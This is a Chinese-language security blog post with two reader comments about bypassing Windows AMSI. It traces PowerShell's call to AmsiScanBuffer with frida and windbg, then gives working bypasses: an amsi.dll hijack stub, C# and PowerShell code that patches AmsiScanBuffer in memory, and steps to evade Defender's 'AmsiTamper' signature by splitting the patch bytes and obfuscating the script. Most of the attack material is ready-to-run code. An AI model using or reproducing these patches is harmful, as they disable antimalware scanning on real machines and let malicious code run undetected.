bypassAMSI Wd

bypassAMSI Wd

AMSI

AMSI概念

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。
amsi主要在项目中遇到的就是在运行ps/和实现无文件落地的https://articles.zsxq.com/id_np7z7fhkj9wg.html时候被拦截。
在使用ProcessExplorer 查看powershell.exe行为其实是调用了C:\windows\system32\amsi.dll
安装frida

python.exe -m pip install frida -i https://pypi.tuna.tsinghua.edu.cn/simple
python.exe -m pip install frida-tools -i https://pypi.tuna.tsinghua.edu.cn/simple

使用frida查看powershell调用amsi.dll的导出函数
20201101010335
可以看到调用的函数是AmsiScanBuffer

AmsiScanBuffer的函数原型如下:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

已知目标函数那么就可以进行下一步了。

使用windbg看下内存。

bp AmsiScanBuffer //下断点
TA  //运行到断点处

20201101230450
20201101234428

根据41yf1sh的文章中写的,需要关注的就是mov edi, r8d。这里在x64调用约定中保存的AmsiScanBuffer第三个参数length,通过path使length始终为0。修改为xor edi,edi,操作码{0x31, 0xff, 0x90}。使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在powershell中完成的,因此效果只是针对改powershell生效。

bypass Amsi

Dll劫持

https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/

本来之前有找到作用导出函数,但是使用AheadLib导出的代码,内联汇编没办法编译成x64。。。然后从ida中看到他导出函数是Dllmain。

20201116165820

#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

让amsi走个过场就能绕过了。而且什么行为都没有。。。dll也不会被杀。
dll路径: C:\windows\system32\windowspowershell\1.0\amsi.dll
效果:
20201116162401

还看到16年嘶吼有人发过dll劫持利用执行恶意行为。(比如文中用runas创建个用户什么的,在powershell加载过程中跳UAC)。
如何利用 DLL hijack 轻松绕过AMSI?

Powershell Patch

64位

using System;
using System.Runtime.InteropServices;
namespace z
{
    public class x
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
        public static int c()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero) { return 1; }
            IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
            if (ASBPtr == IntPtr.Zero) { return 1; }
            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
            return 0;
        }
    }
}
 [System.Reflection.Assembly]::LoadFile("C:\users\fbiwarning\Desktop\passdll.dll")
 [z.x]::c()

然鹅M。M,,报错了,
20201117160604
查了下资料是由于0x001b这个偏移量被修改了?本来就只适用于64位的powershell,但是不是特别靠谱。

32位 & 64位

同样如果执行IEX执行后也有肯能被拦截。
20201117161116

比如启用cs自带的stage的话他会新建一个32位子进程powershell,而启动的powershell是存在完整amsi.dll,导致被拦截,所以也需要一个相对通用的path方法。
20201117160959

看到https://github.com/rasta-mouse/AmsiScanBufferBypass/commit/050dae393338ae5b12789b2453b728a93ee1dcd4提交的修改以及写的pt3部分。

他根据所有指令后条件跳转都是跳转到0x180024f5,所以他猜测指令AMSI_RESULT_CLEAN其中的内容是mov eax, 0x80070057

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

20201117174648

这里有个问题,直接使用上面的ps脚本本身就会被拦截。那么就有两条路走,一条是对代码混淆,绕过amsi,,,,另一条是使用C#的dll,再用powershell动态加载。

混淆内容
或者分段去执行
20201117183500

DLL加载:

using System;
using System.Runtime.InteropServices;

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

    private static bool is64Bit()
    {
        bool is64Bit = true;

        if (IntPtr.Size == 4)
            is64Bit = false;

        return is64Bit;
    }
}

class Win32
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
 [System.Reflection.Assembly]::LoadFile("C:\users\fbiwarning\Desktop\passdll.dll")
 [Amsi]::Bypass()

至于PE文件怎么做免杀就看各自发挥了。

20201117165831


C:\>DefenderCheck.exe passdll.dll
Target file size: 5120 bytes
Analyzing...

[!] Identified end of bad bytes at offset 0xD5A in the original file
File matched signature: "Trojan:Win32/AmsiTamper.B"

00000000   61 61 35 34 38 38 2D 34  33 39 33 2D 34 65 61 39   aa5488-4393-4ea9
00000010   2D 62 64 30 36 2D 37 34  39 32 31 39 64 61 36 65   -bd06-749219da6e
00000020   35 34 00 00 0C 01 00 07  31 2E 30 2E 30 2E 30 00   54······1.0.0.0·
00000030   00 4D 01 00 1C 2E 4E 45  54 46 72 61 6D 65 77 6F   ·M···.NETFramewo
00000040   72 6B 2C 56 65 72 73 69  6F 6E 3D 76 34 2E 36 2E   rk,Version=v4.6.
00000050   31 01 00 54 0E 14 46 72  61 6D 65 77 6F 72 6B 44   1··T··FrameworkD
00000060   69 73 70 6C 61 79 4E 61  6D 65 14 2E 4E 45 54 20   isplayName·.NET
00000070   46 72 61 6D 65 77 6F 72  6B 20 34 2E 36 2E 31 04   Framework 4.6.1·
00000080   01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000090   00 00 10 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000A0   00 00 24 2B 00 00 00 00  00 00 00 00 00 00 3E 2B   ··$+··········>+
000000B0   00 00 00 20 00 00 00 00  00 00 00 00 00 00 00 00   ··· ············
000000C0   00 00 00 00 00 00 00 00  00 00 30 2B 00 00 00 00   ··········0+····
000000D0   00 00 00 00 00 00 00 00  5F 43 6F 72 44 6C 6C 4D   ········_CorDllM
000000E0   61 69 6E 00 6D 73 63 6F  72 65 65 2E 64 6C 6C 00   ain·mscoree.dll·
000000F0   00 00 00 00 FF 25 00 20  00 10 B8 57 00 07 80 C3   ····?%· ··?W··??

特征码基本确认是这行

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

把操作码分开在字符串拼接下就好了。

   static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00 };
    static byte[] x64_2 = { 0x07, 0x80, 0xC3 };
    byte[] data = x64;
    byte[] counts = x64_2;
    byte[] ndata = new byte[data.Length + counts.Length];
    data.CopyTo(ndata, 0);
    counts.CopyTo(ndata, data.Length);

20201117184558

混淆内容

接上面,ps1既然被拦截了,分段找特征最后定位到了Copy方法

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) //覆盖内存内容

既然定位到了就用Invoke-Obfuscation去混淆下,尝试下能不能绕过。

Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation

20201030155037

最终结果如下:
20201117191500

测试:

20201117191608

有关特征定位的问题除了手工去测还可以使用AMSITrigger去自动跑。
测试效果。
20201118113915

20201118114146

https://rastamouse.me/blog/asb-bypass-pt4/
https://xz.aliyun.com/t/5351
https://xz.aliyun.com/t/4377
https://www.4hou.com/posts/xlN3

本文链接:

http://8sec.cc/index.php/archives/439/
1 + 3 =
2 评论
    shiohSogo BrowserWindows 10
    11月19日 回复

    师傅方便说一下frida打印出powershell调用amsi.dll的导出函数具体命令嘛

      knickersChrome 86OSX
      11月19日 回复

      @shioh frida-trace -p powershell.exe_pid -X amsi.dll -i Amsi*